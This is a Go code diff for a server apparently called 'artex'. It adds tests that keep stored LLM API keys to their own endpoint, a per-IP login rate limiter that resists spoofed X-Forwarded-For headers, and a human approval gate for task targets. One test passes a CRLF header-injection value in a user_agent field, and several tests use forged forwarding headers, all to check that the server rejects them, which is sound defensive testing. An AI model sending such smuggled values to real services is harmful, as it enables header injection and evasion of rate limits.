+		if got := sameLLMEndpoint(tc.provA, tc.baseA, tc.provB, tc.baseB); got != tc.want {
+			t.Errorf("sameLLMEndpoint(%q,%q,%q,%q)=%v want %v", tc.provA, tc.baseA, tc.provB, tc.baseB, got, tc.want)
+		}
+	}
+}
+
+// keyRecorder is a fake Anthropic endpoint that records the x-api-key it receives.
+func keyRecorder(t *testing.T) (*httptest.Server, *atomic.Int32, *atomic.Value) {
+	var hits atomic.Int32
+	var key atomic.Value
+	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		hits.Add(1)
+		key.Store(r.Header.Get("x-api-key"))
+		w.Header().Set("Content-Type", "application/json")
+		_, _ = w.Write([]byte(`{"id":"m","type":"message","role":"assistant","model":"m","content":[{"type":"text","text":"OK"}],"stop_reason":"end_turn","usage":{"input_tokens":1,"output_tokens":1},"data":[]}`))
+	}))
+	t.Cleanup(srv.Close)
+	return srv, &hits, &key
+}
+
+func postJSON(t *testing.T, h http.HandlerFunc, path string, body map[string]any) map[string]any {
+	t.Helper()
+	b, _ := json.Marshal(body)
+	req := httptest.NewRequest(http.MethodPost, path, bytes.NewReader(b))
+	req.Header.Set("Content-Type", "application/json")
+	rec := httptest.NewRecorder()
+	h(rec, req)
+	var resp map[string]any
+	_ = json.Unmarshal(rec.Body.Bytes(), &resp)
+	return resp
+}
+
+// The global key must not follow a base_url typed into the test form.
+func TestLLMTestGlobalKeyOnlyForGlobalEndpoint(t *testing.T) {
+	saved, savedHits, savedKey := keyRecorder(t)
+	other, otherHits, _ := keyRecorder(t)
+	s := &Server{}
+	s.llmCfg = agent.ConfigFrom("anthropic", "m", saved.URL, "global-secret", "")
+
+	resp := postJSON(t, s.testLLM, "/api/llm/test", map[string]any{
+		"provider": "anthropic", "model": "m", "base_url": other.URL, "api_key": "", "streaming": false,
+	})
+	if otherHits.Load() != 0 || resp["ok"] != false {
+		t.Fatalf("global key went to a form-supplied host: hits=%d resp=%v", otherHits.Load(), resp)
+	}
+
+	postJSON(t, s.testLLM, "/api/llm/test", map[string]any{
+		"provider": "anthropic", "model": "m", "base_url": saved.URL + "/", "api_key": "", "streaming": false,
+	})
+	if k, _ := savedKey.Load().(string); savedHits.Load() != 1 || k != "global-secret" {
+		t.Fatalf("global key not used for its own endpoint: hits=%d key=%q", savedHits.Load(), k)
+	}
+}
+
+// The connection test applies the same User-Agent rule as saving a profile: a
+// value with a control character is a 400 before any request leaves, and a
+// printable value reaches the wire exactly as given.
+func TestLLMTestValidatesUserAgent(t *testing.T) {
+	var hits atomic.Int32
+	var gotUA atomic.Value
+	fake := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		hits.Add(1)
+		gotUA.Store(r.Header.Get("User-Agent"))
+		w.Header().Set("Content-Type", "application/json")
+		_, _ = w.Write([]byte(`{"id":"m","type":"message","role":"assistant","model":"m","content":[{"type":"text","text":"OK"}],"stop_reason":"end_turn","usage":{"input_tokens":1,"output_tokens":1}}`))
+	}))
+	t.Cleanup(fake.Close)
+	s := &Server{}
+	post := func(ua string) *httptest.ResponseRecorder {
+		b, _ := json.Marshal(map[string]any{
+			"provider": "anthropic", "model": "m", "base_url": fake.URL, "api_key": "k", "streaming": false, "user_agent": ua,
+		})
+		req := httptest.NewRequest(http.MethodPost, "/api/llm/test", bytes.NewReader(b))
+		req.Header.Set("Content-Type", "application/json")
+		rec := httptest.NewRecorder()
+		s.testLLM(rec, req)
+		return rec
+	}
+
+	if rec := post("good/1.0\r\nX-Injected: 1"); rec.Code != http.StatusBadRequest || hits.Load() != 0 {
+		t.Fatalf("control character in user_agent: status %d hits=%d body=%s", rec.Code, hits.Load(), rec.Body.String())
+	}
+
+	const want = "MyTool/1.0 (contact-free)"
+	if rec := post("  " + want + "  "); rec.Code != http.StatusOK {
+		t.Fatalf("printable user_agent: status %d body=%s", rec.Code, rec.Body.String())
+	}
+	if ua, _ := gotUA.Load().(string); hits.Load() != 1 || ua != want {
+		t.Fatalf("test request User-Agent = %q (hits=%d), want %q", ua, hits.Load(), want)
+	}
+}
+
+// A stored profile's key goes only to that profile's base URL, for both the
+// connection test and the model listing.
+func TestStoredProfileKeyOnlyForStoredEndpoint(t *testing.T) {
+	m, err := NewManager(t.TempDir(), "")
+	if err != nil {
+		t.Skipf("postgres unavailable (%v)", err)
+	}
+	t.Cleanup(func() { m.Close() })
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel()
+	s := New(ctx, m, t.TempDir(), t.TempDir(), t.TempDir())
+	s.cfgMu.Lock()
+	s.llmCfg = agent.Config{} // no global key to fall back on
+	s.cfgMu.Unlock()
+
+	saved, savedHits, savedKey := keyRecorder(t)
+	other, otherHits, _ := keyRecorder(t)
+	pid, err := m.pg.SaveProfile(&db.LLMProfile{
+		Name: "key-endpoint", Format: "anthropic", Model: "m", BaseURL: saved.URL, APIKey: "profile-secret",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _, _ = m.pg.Exec("DELETE FROM llm_profiles WHERE id=$1", pid) })
+
+	for _, ep := range []struct {
+		path string
+		h    http.HandlerFunc
+	}{{"/api/llm/test", s.testLLM}, {"/api/llm/models", s.pgListModels}} {
+		resp := postJSON(t, ep.h, ep.path, map[string]any{
+			"provider": "anthropic", "model": "m", "base_url": other.URL, "api_key": "", "profile_id": pid, "streaming": false,
+		})
+		if otherHits.Load() != 0 || resp["ok"] != false {
+			t.Fatalf("%s: stored key went to a form-supplied host: hits=%d resp=%v", ep.path, otherHits.Load(), resp)
+		}
+		before := savedHits.Load()
+		postJSON(t, ep.h, ep.path, map[string]any{
+			"provider": "anthropic", "model": "m", "base_url": saved.URL, "api_key": "", "profile_id": pid, "streaming": false,
+		})
+		if k, _ := savedKey.Load().(string); savedHits.Load() == before || k != "profile-secret" {
+			t.Fatalf("%s: stored key not used for its own endpoint: key=%q", ep.path, k)
+		}
+	}
+}

server/llm_ollama_test.go

@@ -103,6 +103,7 @@ func TestOllamaProviderWiresOpenAIProtocol(t *testing.T) {
 // loadProfileConfig accepts it, the task chain validates it, the failover pool
 // includes it, and the connection test completes against a fake Ollama.
 func TestOllamaKeylessProfileLifecycle(t *testing.T) {
+	skipWithoutDSN(t)
 	m, err := NewManager(t.TempDir(), "")
 	if err != nil {
 		t.Fatal(err)
@@ -180,6 +181,7 @@ func TestOllamaKeylessProfileLifecycle(t *testing.T) {
 // Model listing for an Ollama server works without an API key and tolerates a
 // base URL with or without the /v1 suffix.
 func TestOllamaListModels(t *testing.T) {
+	skipWithoutDSN(t)
 	var calls atomic.Value // []string paths
 	fake := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
 		w.Header().Set("Content-Type", "application/json")

server/llm_test_fallback_test.go

@@ -18,6 +18,7 @@ import (
 // assigned raw, so a key saved with surrounding whitespace ran fine in
 // conversations but 401'd the connection test.
 func TestLLMTestStoredKeyFallbackIsTrimmed(t *testing.T) {
+	skipWithoutDSN(t)
 	m, err := NewManager(t.TempDir(), "")
 	if err != nil {
 		t.Fatal(err)
@@ -97,6 +98,7 @@ func TestLLMTestFallbackMatchesRuntimeNormalization(t *testing.T) {
 // (the list-view test button) fills provider/model/base_url from the row, so
 // the key lands on the configured host instead of the canonical default one.
 func TestLLMTestStoredProfileUsesProfileEndpoint(t *testing.T) {
+	skipWithoutDSN(t)
 	m, err := NewManager(t.TempDir(), "")
 	if err != nil {
 		t.Fatal(err)

server/login_limit.go

@@ -0,0 +1,191 @@
+package server
+
+import (
+	"fmt"
+	"net"
+	"net/http"
+	"net/netip"
+	"strings"
+	"sync"
+	"time"
+)
+
+// Login attempts are limited per client IP, never per account: a per-account
+// lockout would let anyone lock the admin out by failing on purpose.
+const (
+	loginMaxAttempts = 10               // attempts allowed per IP per window
+	loginWindow      = time.Minute      // the counting window
+	loginBaseBlock   = time.Minute      // length of the first block
+	loginMaxBlock    = 15 * time.Minute // cap on the block; an entry idle this long is dropped
+	loginSweepEvery  = time.Minute      // how often stale entries are swept
+	loginMaxEntries  = 10000            // hard cap on tracked IPs
+)
+
+type loginEntry struct {
+	attempts     int
+	windowStart  time.Time
+	blockedUntil time.Time
+	block        time.Duration // current block length; doubles on every new block or blocked attempt
+	lastSeen     time.Time
+}
+
+// loginLimiter counts login attempts per IP. Past loginMaxAttempts in one
+// loginWindow the IP is blocked for loginBaseBlock; every attempt while blocked,
+// and every later block, doubles the block up to loginMaxBlock. State is in
+// memory only and swept of idle entries, so a restart clears it.
+type loginLimiter struct {
+	mu        sync.Mutex
+	now       func() time.Time
+	entries   map[string]*loginEntry
+	lastSweep time.Time
+}
+
+func newLoginLimiter(now func() time.Time) *loginLimiter {
+	return &loginLimiter{now: now, entries: map[string]*loginEntry{}}
+}
+
+// allow records one attempt from ip. It returns 0 when the attempt may go on,
+// otherwise how long ip must wait.
+func (l *loginLimiter) allow(ip string) time.Duration {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+	now := l.now()
+	l.sweep(now)
+	e := l.entries[ip]
+	if e == nil {
+		if len(l.entries) >= loginMaxEntries {
+			l.evictOldest()
+		}
+		e = &loginEntry{windowStart: now}
+		l.entries[ip] = e
+	}
+	e.lastSeen = now
+	if now.Before(e.blockedUntil) {
+		e.block = min(2*e.block, loginMaxBlock)
+		e.blockedUntil = now.Add(e.block)
+		return e.block
+	}
+	if now.Sub(e.windowStart) >= loginWindow {
+		e.attempts, e.windowStart = 0, now
+	}
+	if e.attempts >= loginMaxAttempts {
+		if e.block == 0 {
+			e.block = loginBaseBlock
+		} else {
+			e.block = min(2*e.block, loginMaxBlock)
+		}
+		e.blockedUntil = now.Add(e.block)
+		e.attempts, e.windowStart = 0, now
+		return e.block
+	}
+	e.attempts++
+	return 0
+}
+
+// reset forgets ip, after a successful login. A blocked IP never reaches the
+// password check, so this only runs outside a block.
+func (l *loginLimiter) reset(ip string) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+	delete(l.entries, ip)
+}
+
+// sweep drops entries idle for loginMaxBlock, at most once per loginSweepEvery.
+// Such an entry is never blocked: a block ends at most loginMaxBlock after the
+// attempt that set it.
+func (l *loginLimiter) sweep(now time.Time) {
+	if now.Sub(l.lastSweep) < loginSweepEvery {
+		return
+	}
+	l.lastSweep = now
+	for ip, e := range l.entries {
+		if now.Sub(e.lastSeen) >= loginMaxBlock {
+			delete(l.entries, ip)
+		}
+	}
+}
+
+// evictOldest drops the least recently seen entry to stay under loginMaxEntries.
+func (l *loginLimiter) evictOldest() {
+	var oldest string
+	var at time.Time
+	for ip, e := range l.entries {
+		if oldest == "" || e.lastSeen.Before(at) {
+			oldest, at = ip, e.lastSeen
+		}
+	}
+	delete(l.entries, oldest)
+}
+
+// peerIP is the host part of the TCP peer address.
+func peerIP(r *http.Request) string {
+	host, _, err := net.SplitHostPort(r.RemoteAddr)
+	if err != nil {
+		return r.RemoteAddr
+	}
+	return host
+}
+
+// clientIP is the address login attempts are counted against. It is the TCP
+// peer unless the peer is in trusted: then X-Forwarded-For is read from the
+// right, past trusted hops, and the first untrusted hop is the client. Entries
+// left of that hop come from the client itself and are never used, so a client
+// cannot pick its own bucket. With trusted empty the header is ignored.
+func clientIP(r *http.Request, trusted []netip.Prefix) string {
+	peer := peerIP(r)
+	addr, err := netip.ParseAddr(peer)
+	if err != nil || !isTrusted(addr, trusted) {
+		return peer
+	}
+	hops := strings.Split(strings.Join(r.Header.Values("X-Forwarded-For"), ","), ",")
+	for i := len(hops) - 1; i >= 0; i-- {
+		hop, err := netip.ParseAddr(strings.TrimSpace(hops[i]))
+		if err != nil {
+			break // keep the last address a trusted proxy reported
+		}
+		addr = hop
+		if !isTrusted(addr, trusted) {
+			break
+		}
+	}
+	return addr.Unmap().WithZone("").String()
+}
+
+func isTrusted(a netip.Addr, trusted []netip.Prefix) bool {
+	a = a.Unmap().WithZone("")
+	for _, p := range trusted {
+		if p.Contains(a) {
+			return true
+		}
+	}
+	return false
+}
+
+// ParseTrustedProxies parses ARTEX_TRUSTED_PROXIES: comma-separated CIDRs (a
+// bare address means that one host). Empty means no trusted proxy.
+func ParseTrustedProxies(s string) ([]netip.Prefix, error) {
+	var out []netip.Prefix
+	for _, f := range strings.Split(s, ",") {
+		f = strings.TrimSpace(f)
+		if f == "" {
+			continue
+		}
+		if p, err := netip.ParsePrefix(f); err == nil {
+			out = append(out, p.Masked())
+			continue
+		}
+		a, err := netip.ParseAddr(f)
+		if err != nil || a.Zone() != "" {
+			return nil, fmt.Errorf("%q is not a CIDR or an IP address", f)
+		}
+		a = a.Unmap()
+		out = append(out, netip.PrefixFrom(a, a.BitLen()))
+	}
+	return out, nil
+}
+
+// WithTrustedProxies sets the proxies whose X-Forwarded-For the login rate
+// limit reads (see clientIP).
+func WithTrustedProxies(p []netip.Prefix) Option {
+	return func(s *Server) { s.trustedProxies = p }
+}

server/login_limit_test.go

@@ -0,0 +1,299 @@
+package server
+
+import (
+	"encoding/json"
+	"fmt"
+	"net/http/httptest"
+	"net/netip"
+	"strings"
+	"testing"
+	"time"
+
+	"golang.org/x/crypto/bcrypt"
+)
+
+type fakeClock struct{ t time.Time }
+
+func (c *fakeClock) now() time.Time          { return c.t }
+func (c *fakeClock) advance(d time.Duration) { c.t = c.t.Add(d) }
+
+func newFakeClock() *fakeClock { return &fakeClock{t: time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC)} }
+
+// oldPassword is 8 characters: valid under the old minimum, too short for a new password now.
+const oldPassword = "abcd1234"
+
+// loginServer returns a Server whose login reads a stored hash of oldPassword
+// from a stub instead of PostgreSQL.
+func loginServer(t *testing.T, clk *fakeClock) (*Server, func(remote, password string, hdr map[string]string) *httptest.ResponseRecorder) {
+	t.Helper()
+	hash, err := bcrypt.GenerateFromPassword([]byte(oldPassword), bcrypt.MinCost)
+	if err != nil {
+		t.Fatal(err)
+	}
+	getSetting := func(key string) (string, bool, error) {
+		if key != authPassKey {
+			return "", false, nil
+		}
+		return string(hash), true, nil
+	}
+	s := &Server{jwtKey: []byte("0123456789abcdef0123456789abcdef"), loginLimit: newLoginLimiter(clk.now)}
+	post := func(remote, password string, hdr map[string]string) *httptest.ResponseRecorder {
+		body := fmt.Sprintf(`{"username":"ARTEX","password":%q}`, password)
+		r := httptest.NewRequest("POST", "/api/auth/login", strings.NewReader(body))
+		r.RemoteAddr = remote
+		for k, v := range hdr {
+			r.Header.Set(k, v)
+		}
+		w := httptest.NewRecorder()
+		s.login(w, r, getSetting)
+		return w
+	}
+	return s, post
+}
+
+func failN(t *testing.T, post func(string, string, map[string]string) *httptest.ResponseRecorder, remote string, n int) {
+	t.Helper()
+	for i := 0; i < n; i++ {
+		if w := post(remote, "wrong-password", nil); w.Code != 401 {
+			t.Fatalf("attempt %d from %s: status=%d want 401; body=%s", i+1, remote, w.Code, w.Body.String())
+		}
+	}
+}
+
+func TestLoginRateLimitReturns429WithRetryAfter(t *testing.T) {
+	clk := newFakeClock()
+	_, post := loginServer(t, clk)
+	const ip = "192.0.2.10:40000"
+	failN(t, post, ip, loginMaxAttempts)
+
+	w := post(ip, oldPassword, nil) // even the right password is refused while blocked
+	if w.Code != 429 {
+		t.Fatalf("status=%d want 429; body=%s", w.Code, w.Body.String())
+	}
+	if got := w.Header().Get("Retry-After"); got != "60" {
+		t.Fatalf("Retry-After=%q want 60", got)
+	}
+	var body struct {
+		Error string `json:"error"`
+		Token string `json:"token"`
+	}
+	if err := json.Unmarshal(w.Body.Bytes(), &body); err != nil || body.Error == "" || body.Token != "" {
+		t.Fatalf("want a JSON error body without a token, got %s (err=%v)", w.Body.String(), err)
+	}
+
+	// Each attempt while blocked doubles the wait, capped at loginMaxBlock.
+	for _, want := range []string{"120", "240", "480", "900", "900"} {
+		if got := post(ip, "wrong-password", nil).Header().Get("Retry-After"); got != want {
+			t.Fatalf("Retry-After=%q want %s", got, want)
+		}
+	}
+
+	// Once the block runs out the IP gets a fresh window.
+	clk.advance(loginMaxBlock)
+	if w := post(ip, oldPassword, nil); w.Code != 200 {
+		t.Fatalf("after the block: status=%d want 200; body=%s", w.Code, w.Body.String())
+	}
+}
+
+func TestLoginSuccessResetsCounter(t *testing.T) {
+	clk := newFakeClock()
+	_, post := loginServer(t, clk)
+	const ip = "192.0.2.11:40000"
+	failN(t, post, ip, loginMaxAttempts-1)
+	if w := post(ip, oldPassword, nil); w.Code != 200 {
+		t.Fatalf("status=%d want 200; body=%s", w.Code, w.Body.String())
+	}
+	// The counter starts over: a full budget of failures before the next block.
+	failN(t, post, ip, loginMaxAttempts)
+	if w := post(ip, "wrong-password", nil); w.Code != 429 {
+		t.Fatalf("status=%d want 429", w.Code)
+	}
+}
+
+func TestLoginRateLimitIsPerIP(t *testing.T) {
+	clk := newFakeClock()
+	_, post := loginServer(t, clk)
+	failN(t, post, "192.0.2.12:40000", loginMaxAttempts)
+	if w := post("192.0.2.12:40001", "wrong-password", nil); w.Code != 429 {
+		t.Fatalf("same IP, other port: status=%d want 429", w.Code)
+	}
+	if w := post("198.51.100.7:40000", "wrong-password", nil); w.Code != 401 {
+		t.Fatalf("other IP: status=%d want 401", w.Code)
+	}
+	if w := post("[2001:db8::1]:40000", oldPassword, nil); w.Code != 200 {
+		t.Fatalf("other IP: status=%d want 200", w.Code)
+	}
+}
+
+func TestLoginRateLimitIgnoresForwardedFor(t *testing.T) {
+	clk := newFakeClock()
+	_, post := loginServer(t, clk)
+	const blocked = "192.0.2.13"
+	failN(t, post, blocked+":40000", loginMaxAttempts)
+
+	// A blocked peer cannot escape by claiming another address.
+	for _, h := range []string{"X-Forwarded-For", "X-Real-IP"} {
+		if w := post(blocked+":40000", oldPassword, map[string]string{h: "203.0.113.9"}); w.Code != 429 {
+			t.Fatalf("%s from blocked peer: status=%d want 429", h, w.Code)
+		}
+	}
+	// And another peer naming the blocked address is not blocked.
+	if w := post("198.51.100.8:40000", oldPassword, map[string]string{"X-Forwarded-For": blocked}); w.Code != 200 {
+		t.Fatalf("X-Forwarded-For naming the blocked IP: status=%d want 200", w.Code)
+	}
+}
+
+func mustTrusted(t *testing.T, s string) []netip.Prefix {
+	t.Helper()
+	p, err := ParseTrustedProxies(s)
+	if err != nil {
+		t.Fatal(err)
+	}
+	return p
+}
+
+func TestParseTrustedProxies(t *testing.T) {
+	if p, err := ParseTrustedProxies(" "); err != nil || len(p) != 0 {
+		t.Fatalf("empty: %v, %v; want no proxies", p, err)
+	}
+	p, err := ParseTrustedProxies(" 127.0.0.1/32, 10.1.2.3/8 ,::1")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got := fmt.Sprint(p); got != "[127.0.0.1/32 10.0.0.0/8 ::1/128]" {
+		t.Fatalf("got %s", got)
+	}
+	for _, bad := range []string{"proxy.local", "10.0.0.0/33", "127.0.0.1,nope"} {
+		if _, err := ParseTrustedProxies(bad); err == nil {
+			t.Fatalf("%q: want an error", bad)
+		}
+	}
+}
+
+func TestClientIP(t *testing.T) {
+	trusted := mustTrusted(t, "127.0.0.1/32,10.0.0.0/8")
+	for _, tc := range []struct {
+		name, remote string
+		xff          []string
+		trusted      []netip.Prefix
+		want         string
+	}{
+		{"direct client, no proxies configured", "198.51.100.9:5000", nil, nil, "198.51.100.9"},
+		{"direct client, proxies configured", "198.51.100.9:5000", nil, trusted, "198.51.100.9"},
+		{"spoofed header, no proxies configured", "198.51.100.9:5000", []string{"203.0.113.1"}, nil, "198.51.100.9"},
+		{"spoofed header from an untrusted peer", "198.51.100.9:5000", []string{"203.0.113.1"}, trusted, "198.51.100.9"},
+		{"spoofed header claiming a trusted address", "198.51.100.9:5000", []string{"127.0.0.1"}, trusted, "198.51.100.9"},
+		{"one trusted proxy", "127.0.0.1:5000", []string{"198.51.100.7"}, trusted, "198.51.100.7"},
+		{"client-supplied entries left of the real hop", "127.0.0.1:5000", []string{"203.0.113.1, 10.0.0.9, 198.51.100.7"}, trusted, "198.51.100.7"},
+		{"chain of trusted proxies", "127.0.0.1:5000", []string{"203.0.113.1, 198.51.100.7, 10.0.0.5"}, trusted, "198.51.100.7"},
+		{"chain split over header lines", "127.0.0.1:5000", []string{"203.0.113.1", "198.51.100.7, 10.0.0.5"}, trusted, "198.51.100.7"},
+		{"trusted proxy without the header", "127.0.0.1:5000", nil, trusted, "127.0.0.1"},
+		{"unparsable hop stops the walk", "127.0.0.1:5000", []string{"198.51.100.7, garbage, 10.0.0.5"}, trusted, "10.0.0.5"},
+		{"IPv6 client behind the proxy", "127.0.0.1:5000", []string{"2001:db8::7"}, trusted, "2001:db8::7"},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			r := httptest.NewRequest("GET", "/", nil)
+			r.RemoteAddr = tc.remote
+			for _, v := range tc.xff {
+				r.Header.Add("X-Forwarded-For", v)
+			}
+			if got := clientIP(r, tc.trusted); got != tc.want {
+				t.Fatalf("clientIP=%s want %s", got, tc.want)
+			}
+		})
+	}
+}
+
+// Behind a trusted reverse proxy every request arrives from the proxy's address;
+// the limit must still apply per real client.
+func TestLoginRateLimitBehindTrustedProxy(t *testing.T) {
+	clk := newFakeClock()
+	s, post := loginServer(t, clk)
+	s.trustedProxies = mustTrusted(t, "127.0.0.1/32")
+	const proxy = "127.0.0.1:50000"
+	via := func(xff string) map[string]string { return map[string]string{"X-Forwarded-For": xff} }
+
+	for i := 0; i < loginMaxAttempts; i++ {
+		if w := post(proxy, "wrong-password", via("198.51.100.20")); w.Code != 401 {
+			t.Fatalf("attempt %d: status=%d want 401", i+1, w.Code)
+		}
+	}
+	if w := post(proxy, oldPassword, via("198.51.100.20")); w.Code != 429 {
+		t.Fatalf("attacker: status=%d want 429", w.Code)
+	}
+	// What nginx's $proxy_add_x_forwarded_for sends when the attacker adds its own header.
+	if w := post(proxy, oldPassword, via("203.0.113.50, 198.51.100.20")); w.Code != 429 {
+		t.Fatalf("attacker with a forged entry: status=%d want 429", w.Code)
+	}
+	// Another user behind the same proxy is not affected.
+	if w := post(proxy, oldPassword, via("198.51.100.21")); w.Code != 200 {
+		t.Fatalf("other user via the proxy: status=%d want 200", w.Code)
+	}
+}
+
+// The 12-character minimum applies to new passwords only. A hash stored under the
+// old 8-character minimum must still log in.
+func TestEightCharPasswordLogsInButIsRejectedAsNew(t *testing.T) {
+	if n := len([]rune(oldPassword)); n != 8 {
+		t.Fatalf("oldPassword has %d characters, want 8", n)
+	}
+	_, post := loginServer(t, newFakeClock())
+	w := post("192.0.2.14:40000", oldPassword, nil)
+	if w.Code != 200 || !strings.Contains(w.Body.String(), `"token"`) {
+		t.Fatalf("login with an existing 8-character password: status=%d body=%s", w.Code, w.Body.String())
+	}
+	// authInit and authChangePassword both refuse a new password through validatePassword.
+	if msg := validatePassword(oldPassword); msg == "" {
+		t.Fatal("validatePassword accepted an 8-character new password")
+	}
+}
+
+func TestLoginLimiterSweepsIdleEntries(t *testing.T) {
+	clk := newFakeClock()
+	l := newLoginLimiter(clk.now)
+	l.allow("192.0.2.20")
+	clk.advance(loginMaxBlock - time.Second)
+	l.allow("192.0.2.21") // sweeps, but .20 is not idle long enough yet
+	if len(l.entries) != 2 {
+		t.Fatalf("entries=%d want 2 before either is idle for %v", len(l.entries), loginMaxBlock)
+	}
+	clk.advance(loginSweepEvery)
+	l.allow("192.0.2.22") // next sweep drops .20
+	if _, ok := l.entries["192.0.2.20"]; ok || len(l.entries) != 2 {
+		t.Fatalf("idle entry not swept: %d entries", len(l.entries))
+	}
+}
+
+func TestLoginLimiterCapsEntries(t *testing.T) {
+	l := newLoginLimiter(newFakeClock().now)
+	for i := 0; i <= loginMaxEntries; i++ {
+		l.allow(fmt.Sprintf("10.%d.%d.%d", i>>16&255, i>>8&255, i&255))
+	}
+	if len(l.entries) != loginMaxEntries {
+		t.Fatalf("entries=%d want the cap %d", len(l.entries), loginMaxEntries)
+	}
+}
+
+func TestHealthHidesVersionWithoutToken(t *testing.T) {
+	key := []byte("0123456789abcdef0123456789abcdef")
+	s := &Server{jwtKey: key}
+
+	w := httptest.NewRecorder()
+	s.health(w, httptest.NewRequest("GET", "/api/health", nil))
+	if got := strings.TrimSpace(w.Body.String()); w.Code != 200 || got != `{"ok":true}` {
+		t.Fatalf("no token: status=%d body=%s want {\"ok\":true}", w.Code, got)
+	}
+
+	tok, err := signJWT(key)
+	if err != nil {
+		t.Fatal(err)
+	}
+	r := httptest.NewRequest("GET", "/api/health", nil)
+	r.Header.Set("Authorization", "Bearer "+tok)
+	w = httptest.NewRecorder()
+	s.health(w, r)
+	var body map[string]any
+	if err := json.Unmarshal(w.Body.Bytes(), &body); err != nil || body["version"] != BuildVersion || body["service"] != "artex" {
+		t.Fatalf("valid token: body=%s want service and version", w.Body.String())
+	}
+}

server/manager.go

@@ -13,6 +13,7 @@ import (
 	"strconv"
 	"strings"
 	"sync"
+	"sync/atomic"
 	"time"
 
 	"github.com/Autumn-27/artex/agent"
@@ -68,9 +69,14 @@ type Task struct {
 	DeadlineAt           int64                  `json:"deadline_at,omitempty"`
 	Store                *pgdb.ExplorationStore `json:"-"`
 	Guard                *guard.Guard           `json:"-"`
+	TargetGuard          *guard.Guard           `json:"-"` // planner and main-agent hooks: target gate only
 	notify               chan struct{}
 	lifecycleMu          sync.RWMutex
 	llmMu                sync.RWMutex
+	// targetGate is the task's opt-in to the approval gate for asset targets.
+	// Atomic: it is switched through the API while tool calls read it.
+	targetGate  atomic.Bool
+	interceptor *intercept.Interceptor // owner of the target gate, handed to the scope
 
 	// pendingTriggers accumulates the concrete changes (worker done / finding) that
 	// fired planning rounds since the last one consumed them. The debounce coalesces
@@ -396,6 +402,8 @@ func NewManager(dir, proxyAddr string) (*Manager, error) {
 		log.Printf("[llmusage] create table: %v", err)
 	}
 	m := &Manager{dir: dir, pg: pg, assets: pg.Assets(), tasks: map[string]*Task{}, interceptor: intercept.New(pg)}
+	// Behind the global egress proxy a target approval is name-only.
+	m.interceptor.SetUpstreamProxyCheck(func() bool { return m.GlobalProxy() != "" })
 	if proxyAddr != "" {
 		tr, err := traffic.Open(filepath.Join(dir, "traffic"), proxyAddr)
 		if err != nil {
@@ -851,7 +859,7 @@ func unixNanoOrZero(t *time.Time) int64 {
 }
 
 func taskFromPG(pt *pgdb.Task, store *pgdb.ExplorationStore, ic *intercept.Interceptor) *Task {
-	return &Task{
+	t := &Task{
 		ID: strconv.FormatInt(pt.ID, 10), ExpID: pt.ExplorationID,
 		Name:       pt.Name,
 		CategoryID: cloneInt64Ptr(pt.CategoryID), CategoryName: pt.CategoryName,
@@ -869,8 +877,19 @@ func taskFromPG(pt *pgdb.Task, store *pgdb.ExplorationStore, ic *intercept.Inter
 		PlanQuietMode:   pt.PlanQuietMode,
 		CoverageEnabled: pt.CoverageEnabled,
 		FirstRunAt:      unixOrZero(pt.FirstRunAt), DeadlineAt: unixOrZero(pt.DeadlineAt),
-		Store: store, Guard: guard.NewWithInterceptor(ic), notify: make(chan struct{}, 1),
+		Store: store, Guard: guard.NewWithInterceptor(ic), TargetGuard: guard.NewTargetOnly(ic), notify: make(chan struct{}, 1),
+		interceptor: ic,
 	}
+	t.targetGate.Store(pt.TargetGate)
+	return t
+}
+
+// targetScope is the approval scope of this task's tool calls for the target
+// gate. wait bounds how long a gated call may wait for a human decision.
+// Enabled reads the task's opt-in flag on every call, so a switch through the
+// API takes effect on the next tool call.
+func (t *Task) targetScope(wait time.Duration) intercept.TargetScope {
+	return intercept.TargetScope{TaskID: t.ID, Enabled: t.targetGate.Load, WaitBound: wait, Interceptor: t.interceptor}
 }
 
 // UpdateTaskMetadata changes list-only task metadata without interrupting any
@@ -899,6 +918,7 @@ func (m *Manager) UpdateTaskMetadata(taskID string, patch pgdb.TaskPatch) (*Task
 	// Live switch (#86): runRound reads the flag per round, so the next
 	// planning round (edge or heartbeat) already respects the new value.
 	task.PlanQuietMode = updated.PlanQuietMode
+	task.targetGate.Store(updated.TargetGate)
 	return task, nil
 }
 

server/notifier.go

@@ -5,6 +5,8 @@ import (
 	"encoding/json"
 	"fmt"
 	"log"
+	"strconv"
+	"strings"
 	"sync"
 	"time"
 
@@ -25,6 +27,12 @@ const (
 	settingNotifyPublicBaseURL = "notify_public_base_url"
 	// settingNotifyDigestMinutes is the digest-mode period (minutes).
 	settingNotifyDigestMinutes = "notify_digest_interval_min"
+	// settingNotifySummaryMaxRunes is how many characters the summary of a single
+	// push is cut to, and settingNotifyAssetsMaxShown how many asset names a
+	// message lists. 0 means no truncation; unset means the notify package
+	// defaults (120 / 3).
+	settingNotifySummaryMaxRunes = "notify_summary_max_runes"
+	settingNotifyAssetsMaxShown  = "notify_assets_max_shown"
 )
 
 const (
@@ -43,6 +51,10 @@ const (
 	notifyFanOutPerTick = 200
 	// notifyDefaultDigestMinutes is the default digest period.
 	notifyDefaultDigestMinutes = 30
+	// notifySummaryMaxRunesCap / notifyAssetsMaxShownCap are the upper bounds the
+	// settings API accepts for the two render limits.
+	notifySummaryMaxRunesCap = 4000
+	notifyAssetsMaxShownCap  = 50
 	// notifyUnlimitedBurstPerTick is the per-tick delivery cap when a channel has
 	// no rate limit configured. It exists to prevent "one channel configured as
 	// unlimited + a single scan finding thousands of vulnerabilities" from dragging
@@ -223,8 +235,9 @@ func (n *Notifier) stepRealtime(ctx context.Context, ch *db.NotificationChannel,
 		_ = n.pg.FailDeliveries(ctx, deliveryIDs(deliveries), fmt.Sprintf("channel type %q is not registered", ch.Kind))
 		return
 	}
+	limits := notifyLimits(n.pg)
 	for _, dl := range deliveries {
-		msg, err := n.renderSingle(ctx, dl, baseURL)
+		msg, err := n.renderSingle(ctx, dl, baseURL, limits)
 		if err != nil {
 			// A render failure is a local data problem; retrying will not help.
